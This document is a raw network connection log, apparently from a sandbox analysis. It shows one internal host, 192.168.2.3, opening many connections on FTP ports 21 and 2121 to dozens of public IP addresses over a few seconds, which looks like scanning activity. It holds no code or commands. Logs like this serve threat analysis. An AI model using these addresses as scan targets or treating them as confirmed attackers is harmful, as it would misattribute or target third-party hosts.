Aug 23, 2023 09:14:42.556382895 CEST	49988	2121	192.168.2.3	52.157.223.8
Aug 23, 2023 09:14:42.557157993 CEST	49989	21	192.168.2.3	80.138.30.122
Aug 23, 2023 09:14:42.558351994 CEST	49990	2121	192.168.2.3	80.138.30.122
Aug 23, 2023 09:14:42.560976982 CEST	49991	21	192.168.2.3	82.58.161.68
Aug 23, 2023 09:14:42.561752081 CEST	49992	2121	192.168.2.3	82.58.161.68
Aug 23, 2023 09:14:42.561908007 CEST	49993	21	192.168.2.3	126.55.157.243
Aug 23, 2023 09:14:42.562011003 CEST	49994	21	192.168.2.3	175.144.110.16
Aug 23, 2023 09:14:42.562028885 CEST	49995	2121	192.168.2.3	126.55.157.243
Aug 23, 2023 09:14:42.562103033 CEST	49996	2121	192.168.2.3	175.144.110.16
Aug 23, 2023 09:14:42.562170029 CEST	49997	21	192.168.2.3	185.112.82.223
Aug 23, 2023 09:14:42.562211990 CEST	49998	2121	192.168.2.3	185.112.82.223
Aug 23, 2023 09:14:42.574006081 CEST	2121	49966	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:42.574031115 CEST	21	49965	141.5.103.99	192.168.2.3
Aug 23, 2023 09:14:42.575563908 CEST	49999	21	192.168.2.3	92.224.45.43
Aug 23, 2023 09:14:42.575752974 CEST	50000	2121	192.168.2.3	92.224.45.43
Aug 23, 2023 09:14:42.634402990 CEST	50001	21	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:42.636032104 CEST	50002	2121	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:42.661333084 CEST	49939	2121	192.168.2.3	189.172.28.68
Aug 23, 2023 09:14:42.678536892 CEST	49952	21	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:42.678596020 CEST	49953	2121	192.168.2.3	209.52.94.174
Aug 23, 2023 09:14:42.679918051 CEST	50003	21	192.168.2.3	188.149.203.137
Aug 23, 2023 09:14:42.680923939 CEST	50004	2121	192.168.2.3	188.149.203.137
Aug 23, 2023 09:14:42.695656061 CEST	2121	49986	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:42.726352930 CEST	50005	21	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:42.726499081 CEST	50006	2121	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:42.740995884 CEST	49942	21	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:42.756724119 CEST	49943	2121	192.168.2.3	181.94.138.14
Aug 23, 2023 09:14:42.847630978 CEST	21	49952	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:42.850584030 CEST	2121	49953	209.52.94.174	192.168.2.3
Aug 23, 2023 09:14:42.851872921 CEST	50007	21	192.168.2.3	35.137.79.230
Aug 23, 2023 09:14:42.852760077 CEST	50008	2121	192.168.2.3	35.137.79.230
Aug 23, 2023 09:14:42.852760077 CEST	50009	21	192.168.2.3	81.42.218.67
Aug 23, 2023 09:14:42.866875887 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:42.867275000 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:42.881763935 CEST	49985	21	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:42.882822037 CEST	50010	2121	192.168.2.3	81.42.218.67
Aug 23, 2023 09:14:42.883125067 CEST	50011	21	192.168.2.3	98.109.200.140
Aug 23, 2023 09:14:42.923516989 CEST	2121	50002	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:42.923533916 CEST	21	50001	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:42.958043098 CEST	50012	2121	192.168.2.3	98.109.200.140
Aug 23, 2023 09:14:42.959780931 CEST	49976	2121	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:42.975811005 CEST	49975	21	192.168.2.3	201.207.2.13
Aug 23, 2023 09:14:42.983644009 CEST	2121	50006	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:42.983665943 CEST	21	50005	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:43.014869928 CEST	21	49942	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:43.019548893 CEST	50013	21	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:43.021467924 CEST	21	49985	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:43.038028955 CEST	49967	21	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:43.038629055 CEST	50014	2121	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:43.040957928 CEST	2121	49943	181.94.138.14	192.168.2.3
Aug 23, 2023 09:14:43.042489052 CEST	50015	21	192.168.2.3	176.250.158.229
Aug 23, 2023 09:14:43.053849936 CEST	49968	2121	192.168.2.3	183.121.59.131
Aug 23, 2023 09:14:43.118169069 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:43.155354977 CEST	2121	49976	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:43.159513950 CEST	50016	2121	192.168.2.3	176.250.158.229
Aug 23, 2023 09:14:43.180691004 CEST	21	49975	201.207.2.13	192.168.2.3
Aug 23, 2023 09:14:43.183151007 CEST	50017	21	192.168.2.3	184.92.174.200
Aug 23, 2023 09:14:43.210005045 CEST	49986	2121	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:43.211935043 CEST	50018	2121	192.168.2.3	184.92.174.200
Aug 23, 2023 09:14:43.212095022 CEST	50019	21	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:43.272511005 CEST	21	50013	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:43.290628910 CEST	2121	50014	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:43.298808098 CEST	21	49967	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:43.299978018 CEST	50020	2121	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:43.319531918 CEST	2121	49968	183.121.59.131	192.168.2.3
Aug 23, 2023 09:14:43.322628975 CEST	50021	21	192.168.2.3	93.132.176.206
Aug 23, 2023 09:14:43.349453926 CEST	2121	49986	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:43.351666927 CEST	50022	2121	192.168.2.3	93.132.176.206
Aug 23, 2023 09:14:43.351666927 CEST	50023	21	192.168.2.3	125.141.199.181
Aug 23, 2023 09:14:43.382745981 CEST	50024	2121	192.168.2.3	125.141.199.181
Aug 23, 2023 09:14:43.428546906 CEST	50002	2121	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:43.428554058 CEST	50001	21	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:43.446795940 CEST	50025	21	192.168.2.3	200.53.2.183
Aug 23, 2023 09:14:43.491146088 CEST	50006	2121	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:43.491379023 CEST	50005	21	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:43.537970066 CEST	49985	21	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:43.574754953 CEST	21	50019	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:43.650727987 CEST	2121	50020	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:43.658731937 CEST	50027	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:43.658761024 CEST	50026	2121	192.168.2.3	200.53.2.183
Aug 23, 2023 09:14:43.678105116 CEST	21	49985	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:43.679390907 CEST	50028	2121	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:43.715539932 CEST	2121	50002	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:43.717061043 CEST	21	50001	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:43.748040915 CEST	2121	50006	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:43.748428106 CEST	21	50005	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:43.779437065 CEST	21	49892	154.88.117.26	192.168.2.3
Aug 23, 2023 09:14:43.779659986 CEST	49892	21	192.168.2.3	154.88.117.26
Aug 23, 2023 09:14:43.782007933 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:43.782880068 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:43.788063049 CEST	50013	21	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:43.803692102 CEST	50014	2121	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:43.820177078 CEST	50029	21	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:43.820190907 CEST	50030	2121	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:43.836841106 CEST	21	50027	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:43.836920977 CEST	50027	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:43.850464106 CEST	49986	2121	192.168.2.3	96.33.87.95
Aug 23, 2023 09:14:43.857954979 CEST	2121	50028	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:43.990287066 CEST	2121	49986	96.33.87.95	192.168.2.3
Aug 23, 2023 09:14:43.991035938 CEST	50031	21	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:44.017131090 CEST	21	50027	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:44.017322063 CEST	50027	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:44.018064022 CEST	50032	2121	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:44.040671110 CEST	21	50013	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:44.044941902 CEST	21	50031	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:44.056492090 CEST	2121	50014	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:44.073086977 CEST	2121	50032	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:44.083667994 CEST	2121	50030	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:44.084881067 CEST	50019	21	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:44.087639093 CEST	21	50029	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:44.131736994 CEST	49940	21	192.168.2.3	220.84.54.114
Aug 23, 2023 09:14:44.147416115 CEST	49941	2121	192.168.2.3	220.84.54.114
Aug 23, 2023 09:14:44.163016081 CEST	50020	2121	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:44.195708036 CEST	21	50027	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:44.195756912 CEST	21	50027	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:44.195806980 CEST	50027	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:44.195842981 CEST	50027	21	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:44.225511074 CEST	50002	2121	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:44.225558996 CEST	50001	21	192.168.2.3	222.235.207.162
Aug 23, 2023 09:14:44.256773949 CEST	50006	2121	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:44.256882906 CEST	50005	21	192.168.2.3	115.3.245.17
Aug 23, 2023 09:14:44.272382021 CEST	49947	21	192.168.2.3	58.136.234.150
Aug 23, 2023 09:14:44.288029909 CEST	49950	21	192.168.2.3	198.52.133.33
Aug 23, 2023 09:14:44.288095951 CEST	49949	2121	192.168.2.3	58.136.234.150
Aug 23, 2023 09:14:44.288161993 CEST	49951	2121	192.168.2.3	198.52.133.33
Aug 23, 2023 09:14:44.319273949 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:44.366147041 CEST	49955	2121	192.168.2.3	157.131.75.98
Aug 23, 2023 09:14:44.366254091 CEST	49954	21	192.168.2.3	157.131.75.98
Aug 23, 2023 09:14:44.366254091 CEST	50028	2121	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:44.382996082 CEST	50033	21	192.168.2.3	162.154.166.167
Aug 23, 2023 09:14:44.383975029 CEST	50034	2121	192.168.2.3	162.154.166.167
Aug 23, 2023 09:14:44.398828030 CEST	49957	2121	192.168.2.3	83.49.48.105
Aug 23, 2023 09:14:44.398926973 CEST	49956	21	192.168.2.3	83.49.48.105
Aug 23, 2023 09:14:44.450709105 CEST	21	50019	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:44.459899902 CEST	49962	21	192.168.2.3	187.223.234.237
Aug 23, 2023 09:14:44.459913969 CEST	49960	2121	192.168.2.3	136.55.248.40
Aug 23, 2023 09:14:44.459913969 CEST	49961	2121	192.168.2.3	166.88.234.210
Aug 23, 2023 09:14:44.459992886 CEST	49963	21	192.168.2.3	166.88.234.210
Aug 23, 2023 09:14:44.474034071 CEST	49959	21	192.168.2.3	136.55.248.40
Aug 23, 2023 09:14:44.475527048 CEST	49964	2121	192.168.2.3	187.223.234.237
Aug 23, 2023 09:14:44.512644053 CEST	2121	50002	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:44.513632059 CEST	50035	21	192.168.2.3	2.219.80.86
Aug 23, 2023 09:14:44.514013052 CEST	2121	50020	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:44.514127016 CEST	2121	50006	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:44.514194012 CEST	21	50001	222.235.207.162	192.168.2.3
Aug 23, 2023 09:14:44.514408112 CEST	21	50005	115.3.245.17	192.168.2.3
Aug 23, 2023 09:14:44.516788006 CEST	50036	21	192.168.2.3	52.170.160.65
Aug 23, 2023 09:14:44.516791105 CEST	50037	2121	192.168.2.3	2.219.80.86
Aug 23, 2023 09:14:44.516879082 CEST	50038	2121	192.168.2.3	52.170.160.65
Aug 23, 2023 09:14:44.522403955 CEST	49970	2121	192.168.2.3	184.27.193.37
Aug 23, 2023 09:14:44.522406101 CEST	49969	21	192.168.2.3	184.27.193.37
Aug 23, 2023 09:14:44.538036108 CEST	49973	21	192.168.2.3	174.177.47.92
Aug 23, 2023 09:14:44.538116932 CEST	49971	21	192.168.2.3	2.177.168.250
Aug 23, 2023 09:14:44.547044992 CEST	2121	50028	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:44.553662062 CEST	49972	2121	192.168.2.3	2.177.168.250
Aug 23, 2023 09:14:44.553662062 CEST	49974	2121	192.168.2.3	174.177.47.92
Aug 23, 2023 09:14:44.553673029 CEST	50031	21	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:44.553673029 CEST	50013	21	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:44.555283070 CEST	50039	2121	192.168.2.3	179.35.194.126
Aug 23, 2023 09:14:44.555490971 CEST	50040	21	192.168.2.3	179.35.194.126
Aug 23, 2023 09:14:44.569283009 CEST	49977	21	192.168.2.3	207.59.139.194
Aug 23, 2023 09:14:44.569293022 CEST	49979	21	192.168.2.3	102.66.170.177
Aug 23, 2023 09:14:44.569309950 CEST	50014	2121	192.168.2.3	118.39.216.170
Aug 23, 2023 09:14:44.584918022 CEST	50032	2121	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:44.584961891 CEST	50030	2121	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:44.585009098 CEST	49978	2121	192.168.2.3	207.59.139.194
Aug 23, 2023 09:14:44.585360050 CEST	49980	2121	192.168.2.3	102.66.170.177
Aug 23, 2023 09:14:44.600545883 CEST	50029	21	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:44.607110977 CEST	21	50031	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:44.638931990 CEST	2121	50032	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:44.664307117 CEST	50041	21	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:44.678694010 CEST	49982	21	192.168.2.3	76.58.185.37
Aug 23, 2023 09:14:44.806586981 CEST	21	50013	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:44.808958054 CEST	50042	2121	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:44.821800947 CEST	2121	50014	118.39.216.170	192.168.2.3
Aug 23, 2023 09:14:44.823065042 CEST	50043	21	192.168.2.3	181.189.205.219
Aug 23, 2023 09:14:44.851087093 CEST	2121	50030	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:44.866255999 CEST	21	50029	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:44.878299952 CEST	21	50041	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:44.944328070 CEST	49984	2121	192.168.2.3	76.58.185.37
Aug 23, 2023 09:14:44.962958097 CEST	50019	21	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:45.018688917 CEST	2121	50042	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:45.022075891 CEST	50020	2121	192.168.2.3	103.158.96.138
Aug 23, 2023 09:14:45.055035114 CEST	50028	2121	192.168.2.3	143.95.237.220
Aug 23, 2023 09:14:45.116302013 CEST	50031	21	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:45.150914907 CEST	50032	2121	192.168.2.3	23.90.136.216
Aug 23, 2023 09:14:45.169542074 CEST	21	50031	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:45.184052944 CEST	50044	2121	192.168.2.3	181.189.205.219
Aug 23, 2023 09:14:45.206229925 CEST	2121	50032	23.90.136.216	192.168.2.3
Aug 23, 2023 09:14:45.207566977 CEST	50045	21	192.168.2.3	88.64.145.143
Aug 23, 2023 09:14:45.233278036 CEST	2121	50028	143.95.237.220	192.168.2.3
Aug 23, 2023 09:14:45.254954100 CEST	50046	2121	192.168.2.3	88.64.145.143
Aug 23, 2023 09:14:45.319068909 CEST	21	50019	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:45.320101023 CEST	50047	21	192.168.2.3	74.71.163.123
Aug 23, 2023 09:14:45.351481915 CEST	50030	2121	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:45.366296053 CEST	50029	21	192.168.2.3	200.114.199.4
Aug 23, 2023 09:14:45.381899118 CEST	50041	21	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:45.383107901 CEST	2121	50020	103.158.96.138	192.168.2.3
Aug 23, 2023 09:14:45.443873882 CEST	2121	50044	181.189.205.219	192.168.2.3
Aug 23, 2023 09:14:45.455399036 CEST	50048	2121	192.168.2.3	74.71.163.123
Aug 23, 2023 09:14:45.522607088 CEST	50042	2121	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:45.538346052 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:45.553983927 CEST	49996	2121	192.168.2.3	175.144.110.16
Aug 23, 2023 09:14:45.553987026 CEST	49994	21	192.168.2.3	175.144.110.16
Aug 23, 2023 09:14:45.569426060 CEST	49988	2121	192.168.2.3	52.157.223.8
Aug 23, 2023 09:14:45.569427013 CEST	49995	2121	192.168.2.3	126.55.157.243
Aug 23, 2023 09:14:45.569469929 CEST	49993	21	192.168.2.3	126.55.157.243
Aug 23, 2023 09:14:45.569487095 CEST	49998	2121	192.168.2.3	185.112.82.223
Aug 23, 2023 09:14:45.569487095 CEST	49992	2121	192.168.2.3	82.58.161.68
Aug 23, 2023 09:14:45.569487095 CEST	49997	21	192.168.2.3	185.112.82.223
Aug 23, 2023 09:14:45.569506884 CEST	49989	21	192.168.2.3	80.138.30.122
Aug 23, 2023 09:14:45.569509029 CEST	49990	2121	192.168.2.3	80.138.30.122
Aug 23, 2023 09:14:45.569593906 CEST	49987	21	192.168.2.3	52.157.223.8
Aug 23, 2023 09:14:45.569741011 CEST	49991	21	192.168.2.3	82.58.161.68
Aug 23, 2023 09:14:45.585068941 CEST	50000	2121	192.168.2.3	92.224.45.43
Aug 23, 2023 09:14:45.585127115 CEST	49999	21	192.168.2.3	92.224.45.43
Aug 23, 2023 09:14:45.599143982 CEST	21	50041	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:45.615099907 CEST	2121	50030	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:45.616864920 CEST	50049	21	192.168.2.3	31.13.93.135
Aug 23, 2023 09:14:45.619626999 CEST	21	49983	94.76.228.203	192.168.2.3
Aug 23, 2023 09:14:45.619745016 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:45.635185003 CEST	21	50029	200.114.199.4	192.168.2.3
Aug 23, 2023 09:14:45.639497995 CEST	50050	2121	192.168.2.3	31.13.93.135
Aug 23, 2023 09:14:45.694485903 CEST	50004	2121	192.168.2.3	188.149.203.137
Aug 23, 2023 09:14:45.695045948 CEST	50003	21	192.168.2.3	188.149.203.137
Aug 23, 2023 09:14:45.733782053 CEST	2121	50042	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:45.866378069 CEST	50008	2121	192.168.2.3	35.137.79.230
Aug 23, 2023 09:14:45.866378069 CEST	50009	21	192.168.2.3	81.42.218.67
Aug 23, 2023 09:14:45.866449118 CEST	50007	21	192.168.2.3	35.137.79.230
Aug 23, 2023 09:14:45.881994009 CEST	50010	2121	192.168.2.3	81.42.218.67
Aug 23, 2023 09:14:45.897608042 CEST	50011	21	192.168.2.3	98.109.200.140
Aug 23, 2023 09:14:45.944463015 CEST	50044	2121	192.168.2.3	181.189.205.219
Aug 23, 2023 09:14:45.960140944 CEST	50012	2121	192.168.2.3	98.109.200.140
Aug 23, 2023 09:14:46.038184881 CEST	50015	21	192.168.2.3	176.250.158.229
Aug 23, 2023 09:14:46.100696087 CEST	50041	21	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:46.147567034 CEST	50016	2121	192.168.2.3	176.250.158.229
Aug 23, 2023 09:14:46.149277925 CEST	50051	2121	192.168.2.3	1.239.18.3
Aug 23, 2023 09:14:46.149298906 CEST	50052	21	192.168.2.3	1.239.18.3
Aug 23, 2023 09:14:46.194408894 CEST	50017	21	192.168.2.3	184.92.174.200
Aug 23, 2023 09:14:46.204520941 CEST	2121	50044	181.189.205.219	192.168.2.3
Aug 23, 2023 09:14:46.210031033 CEST	50018	2121	192.168.2.3	184.92.174.200
Aug 23, 2023 09:14:46.241314888 CEST	50042	2121	192.168.2.3	14.249.29.152
Aug 23, 2023 09:14:46.274106979 CEST	50053	21	192.168.2.3	167.89.33.6
Aug 23, 2023 09:14:46.289664984 CEST	50054	2121	192.168.2.3	167.89.33.6
Aug 23, 2023 09:14:46.290004015 CEST	50055	21	192.168.2.3	51.241.164.162
Aug 23, 2023 09:14:46.305280924 CEST	50056	2121	192.168.2.3	51.241.164.162
Aug 23, 2023 09:14:46.316394091 CEST	21	50041	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:46.318221092 CEST	50057	21	192.168.2.3	175.229.215.200
Aug 23, 2023 09:14:46.335048914 CEST	50021	21	192.168.2.3	93.132.176.206
Aug 23, 2023 09:14:46.350680113 CEST	50023	21	192.168.2.3	125.141.199.181
Aug 23, 2023 09:14:46.354963064 CEST	50022	2121	192.168.2.3	93.132.176.206
Aug 23, 2023 09:14:46.367743969 CEST	50058	2121	192.168.2.3	175.229.215.200
Aug 23, 2023 09:14:46.368874073 CEST	50059	21	192.168.2.3	125.185.15.162
Aug 23, 2023 09:14:46.381938934 CEST	50024	2121	192.168.2.3	125.141.199.181
Aug 23, 2023 09:14:46.414419889 CEST	50060	2121	192.168.2.3	125.185.15.162
Aug 23, 2023 09:14:46.414468050 CEST	50061	21	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:46.444581985 CEST	50025	21	192.168.2.3	200.53.2.183
Aug 23, 2023 09:14:46.452570915 CEST	2121	50042	14.249.29.152	192.168.2.3
Aug 23, 2023 09:14:46.453526020 CEST	50062	2121	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:46.479055882 CEST	50063	2121	192.168.2.3	122.218.238.129
Aug 23, 2023 09:14:46.479166031 CEST	50064	21	192.168.2.3	122.218.238.129
Aug 23, 2023 09:14:46.479373932 CEST	50066	2121	192.168.2.3	104.35.177.234
Aug 23, 2023 09:14:46.479450941 CEST	50065	21	192.168.2.3	119.215.150.186
Aug 23, 2023 09:14:46.479490042 CEST	50067	2121	192.168.2.3	119.215.150.186
Aug 23, 2023 09:14:46.479520082 CEST	50068	21	192.168.2.3	104.35.177.234
Aug 23, 2023 09:14:46.524703026 CEST	50069	2121	192.168.2.3	106.217.216.175
Aug 23, 2023 09:14:46.524823904 CEST	50070	21	192.168.2.3	106.217.216.175
Aug 23, 2023 09:14:46.525312901 CEST	21	50061	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:46.539158106 CEST	50071	21	192.168.2.3	24.118.6.108
Aug 23, 2023 09:14:46.561804056 CEST	50072	2121	192.168.2.3	24.118.6.108
Aug 23, 2023 09:14:46.563463926 CEST	2121	50062	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:46.565711021 CEST	50074	2121	192.168.2.3	184.100.218.2
Aug 23, 2023 09:14:46.565745115 CEST	50073	21	192.168.2.3	184.100.218.2
Aug 23, 2023 09:14:46.570425987 CEST	50075	21	192.168.2.3	74.72.202.213
Aug 23, 2023 09:14:46.586257935 CEST	50076	2121	192.168.2.3	74.72.202.213
Aug 23, 2023 09:14:46.586289883 CEST	50077	21	192.168.2.3	91.232.160.176
Aug 23, 2023 09:14:46.608295918 CEST	50078	2121	192.168.2.3	91.232.160.176
Aug 23, 2023 09:14:46.647639990 CEST	50026	2121	192.168.2.3	200.53.2.183
Aug 23, 2023 09:14:46.684067011 CEST	50079	21	192.168.2.3	91.136.142.56
Aug 23, 2023 09:14:46.710129023 CEST	50044	2121	192.168.2.3	181.189.205.219
Aug 23, 2023 09:14:46.741390944 CEST	49983	21	192.168.2.3	94.76.228.203
Aug 23, 2023 09:14:46.804014921 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:46.963136911 CEST	50080	2121	192.168.2.3	91.136.142.56
Aug 23, 2023 09:14:46.969671965 CEST	2121	50044	181.189.205.219	192.168.2.3
Aug 23, 2023 09:14:46.975097895 CEST	50081	21	192.168.2.3	58.124.54.51
Aug 23, 2023 09:14:46.978154898 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:47.039503098 CEST	50061	21	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:47.069597006 CEST	50062	2121	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:47.151674032 CEST	21	50061	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:47.179272890 CEST	2121	50062	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:47.382178068 CEST	50034	2121	192.168.2.3	162.154.166.167
Aug 23, 2023 09:14:47.397670031 CEST	50033	21	192.168.2.3	162.154.166.167
Aug 23, 2023 09:14:47.507110119 CEST	50037	2121	192.168.2.3	2.219.80.86
Aug 23, 2023 09:14:47.522667885 CEST	50035	21	192.168.2.3	2.219.80.86
Aug 23, 2023 09:14:47.522759914 CEST	50038	2121	192.168.2.3	52.170.160.65
Aug 23, 2023 09:14:47.523324013 CEST	50036	21	192.168.2.3	52.170.160.65
Aug 23, 2023 09:14:47.569570065 CEST	50039	2121	192.168.2.3	179.35.194.126
Aug 23, 2023 09:14:47.569576979 CEST	50040	21	192.168.2.3	179.35.194.126
Aug 23, 2023 09:14:47.575330973 CEST	50082	2121	192.168.2.3	58.124.54.51
Aug 23, 2023 09:14:47.575645924 CEST	50083	21	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:47.575813055 CEST	50085	21	192.168.2.3	187.230.183.100
Aug 23, 2023 09:14:47.575817108 CEST	50086	2121	192.168.2.3	187.230.183.100
Aug 23, 2023 09:14:47.575898886 CEST	50084	2121	192.168.2.3	203.234.232.28
Aug 23, 2023 09:14:47.575923920 CEST	50088	2121	192.168.2.3	23.38.79.227
Aug 23, 2023 09:14:47.575923920 CEST	50087	21	192.168.2.3	23.38.79.227
Aug 23, 2023 09:14:47.575923920 CEST	50090	2121	192.168.2.3	20.125.194.19
Aug 23, 2023 09:14:47.575982094 CEST	50089	21	192.168.2.3	20.125.194.19
Aug 23, 2023 09:14:47.576072931 CEST	50091	21	192.168.2.3	184.161.88.27
Aug 23, 2023 09:14:47.576216936 CEST	50092	2121	192.168.2.3	184.161.88.27
Aug 23, 2023 09:14:47.576217890 CEST	50093	21	192.168.2.3	93.2.199.48
Aug 23, 2023 09:14:47.586013079 CEST	50094	2121	192.168.2.3	93.2.199.48
Aug 23, 2023 09:14:47.586081028 CEST	50095	21	192.168.2.3	190.31.154.111
Aug 23, 2023 09:14:47.663535118 CEST	50061	21	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:47.694586039 CEST	50062	2121	192.168.2.3	24.47.171.225
Aug 23, 2023 09:14:47.695745945 CEST	50096	2121	192.168.2.3	190.31.154.111
Aug 23, 2023 09:14:47.699162006 CEST	50097	21	192.168.2.3	108.48.144.73
Aug 23, 2023 09:14:47.742248058 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:47.742288113 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:47.742302895 CEST	21	49948	199.188.201.19	192.168.2.3
Aug 23, 2023 09:14:47.742420912 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:47.742420912 CEST	49948	21	192.168.2.3	199.188.201.19
Aug 23, 2023 09:14:47.743166924 CEST	50098	2121	192.168.2.3	108.48.144.73
Aug 23, 2023 09:14:47.775162935 CEST	21	50061	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:47.782471895 CEST	50099	21	192.168.2.3	174.163.128.4
Aug 23, 2023 09:14:47.807356119 CEST	2121	50062	24.47.171.225	192.168.2.3
Aug 23, 2023 09:14:47.808542013 CEST	50100	2121	192.168.2.3	174.163.128.4
Aug 23, 2023 09:14:47.819569111 CEST	50043	21	192.168.2.3	181.189.205.219
Aug 23, 2023 09:14:47.831676006 CEST	21	50083	203.234.232.28	192.168.2.3
Aug 23, 2023 09:14:47.835232019 CEST	2121	50084	203.234.232.28	192.168.2.3
